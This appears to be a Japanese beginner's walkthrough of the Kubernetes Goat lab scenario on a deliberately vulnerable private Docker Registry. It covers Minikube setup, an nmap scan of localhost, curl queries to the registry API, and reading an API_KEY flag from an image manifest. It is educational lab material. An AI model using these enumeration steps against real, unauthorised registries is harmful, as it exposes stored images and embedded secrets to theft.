【ネタバレ注意！】Kubernetes Goatで遊ぶ〜脆弱なPrivate Registry編〜

# Kubernetes Goatで脆弱なプライベートレジストリをハックしよう！

今回は、[Kubernetes Goat](https://madhuakula.com/kubernetes-goat/)を使って脆弱なDocker Registryを攻略し、フラグを取得する方法を解説する。初学者向けに、Minikubeのセットアップから詳しく説明していく。
Kubenetes Goatとは意図的に脆弱性のある環境構築されたクラスター群である。いわゆるやられマシン。その中で、一番おもしろそうだったマシン、すなわち[Attacking private registry](https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-7/attacking-private-container-registry-in-kubernetes/welcome)を攻略していく。
で、セットアップ終わったら127.0.0.1:1235にポートフォワーディングされた事がわかるが、事前の説明がないとDockerRegistryが本当に動いているかわからないので、Nmapでポートスキャンなどもして、納得が行くように書いた。RustScanとかもで良いと思う。

## 目次

1. [環境準備](#環境準備)
2. [Kubernetes Goatのセットアップ](#kubernetes-goatのセットアップ)
3. [脆弱なDocker Registryへのアクセス](#脆弱なdocker-registryへのアクセス)
4. [Dockerイメージの調査](#dockerイメージの調査)
5. [フラグの取得](#フラグの取得)
6. [まとめ](#まとめ)

## 環境準備

### 必要なツールのインストール

- **Docker**：コンテナを実行するために必要
- **Minikube**：ローカル環境でKubernetesクラスターを動かすためのツール
- **kubectl**：Kubernetesを操作するコマンドラインツール

#### Dockerのインストール

[Docker公式サイト](https://www.docker.com/products/docker-desktop)からDocker Desktopをダウンロードしてインストールする。

#### HomebrewでMinikubeとkubectlをインストール

```bash
brew update
brew install minikube kubectl
```

### Minikubeの起動

```bash
minikube start
```

**注意**：エラーが出る場合は、Dockerが起動しているか確認する。

### Minikubeのクリーンアップ（必要に応じて）

Minikubeの状態が不安定な場合は、一度削除して再作成する。

```bash
minikube delete
minikube start
```

## Kubernetes Goatのセットアップ

### リポジトリのクローン

```bash
git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
```

### Kubernetes Goatのデプロイ

```bash
chmod +x setup-kubernetes-goat.sh
./setup-kubernetes-goat.sh
```

**注意**：`kubectl`が正しく設定されていることを確認する。

### ポッドの確認

```bash
kubectl get pods
```

全てのポッドが`Running`になっていることを確認する。

### ポートフォワーディングの設定

```bash
chmod +x access-kubernetes-goat.sh
./access-kubernetes-goat.sh
```

これで、ローカルマシンのポート`1230`から`1236`に各サービスがフォワードされる。

## 脆弱なDocker Registryへのアクセス

### ポートフォワーディングの確認

まず、`kubectl port-forward`コマンドによってポートフォワーディングが正しく設定されているか確認する。

```bash
ps -ef | grep 'kubectl port-forward' | grep -v grep
```

**コマンドの解説：**

- `ps -ef`：現在実行中の全てのプロセスを詳細表示する
- `grep 'kubectl port-forward'`：プロセス一覧から`kubectl port-forward`を含む行を検索する
- `grep -v grep`：検索結果から`grep`コマンド自体を除外する

**出力例：**

```
501  1893     1   0  7:43PM ttys000    0:00.19 kubectl port-forward poor-registry-deployment-xxxxx --address 0.0.0.0 1235:5000
```

`poor-registry-deployment`がポート`1235`にフォワードされていることを確認する。

### Nmapでポートをスキャン

`nmap`コマンドを使って、ローカルホストのポート`1235`が開いているか確認する。

```bash
nmap -sV -p 1235 127.0.0.1
```

**コマンドの解説：**

- `nmap`：ネットワーク探索ツール
- `-sV`：サービスバージョン情報を検出する
- `-p 1235`：ポート`1235`を指定してスキャンする
- `127.0.0.1`：ローカルホストを指定

**出力例：**

```
PORT     STATE SERVICE VERSION
1235/tcp open  http    Docker Registry (API: 2.0)
```

ポート`1235`でDocker Registryが稼働していることが確認できる。

## Dockerイメージの調査

### レジストリ内のリポジトリ一覧を取得

```bash
curl http://127.0.0.1:1235/v2/_catalog
```

**出力例：**

```json
{"repositories":["madhuakula/k8s-goat-alpine","madhuakula/k8s-goat-users-repo"]}
```

### リポジトリのタグを確認

```bash
curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/tags/list
```

**出力例：**

```json
{"name":"madhuakula/k8s-goat-users-repo","tags":["latest"]}
```


### イメージのマニフェストを取得

Docker Registry APIを使って、イメージのマニフェストを取得する。

```bash
curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest
```

**コマンドの解説：**

- `curl`：HTTPリクエストを送信するコマンド
- `http://127.0.0.1:1235/v2/.../manifests/latest`：Docker Registry APIのエンドポイントで、指定したイメージのマニフェストを取得する

このコマンドで、`madhuakula/k8s-goat-users-repo`の`latest`タグに対応するイメージのマニフェストが取得できる。

**マニフェストには以下の情報が含まれる：**

- イメージのレイヤー情報（`fsLayers`セクション）
- ビルド履歴（`history`セクション）
- 環境変数や設定（`v1Compatibility`内）

マニフェストを解析することで、イメージ内に隠された情報やフラグを見つけることができる。


## フラグの取得

### マニフェストから環境変数を確認

マニフェストの`history`セクションに注目。

**例：**

```json
"Env":[
  "PATH=/usr/local/bin:...",
  "LANG=C.UTF-8",
  "API_KEY=k8s-goat-cf658c56a501385205cc6d2dafee8fc1"
]
```

`API_KEY`にフラグが含まれている。

### フラグの確認

```
k8s-goat-cf658c56a501385205cc6d2dafee8fc1
```

この`API_KEY`がフラグとなる。

## まとめ

- 脆弱なDocker Registryにアクセスし、レジストリ内のイメージを調査することでフラグを取得した。


以上が、Kubernetes Goatで脆弱なDocker Registryを攻略する手順です。だれでも理解しやすいように、コマンドと共に解説したので、ぜひ参考にしてほしいです！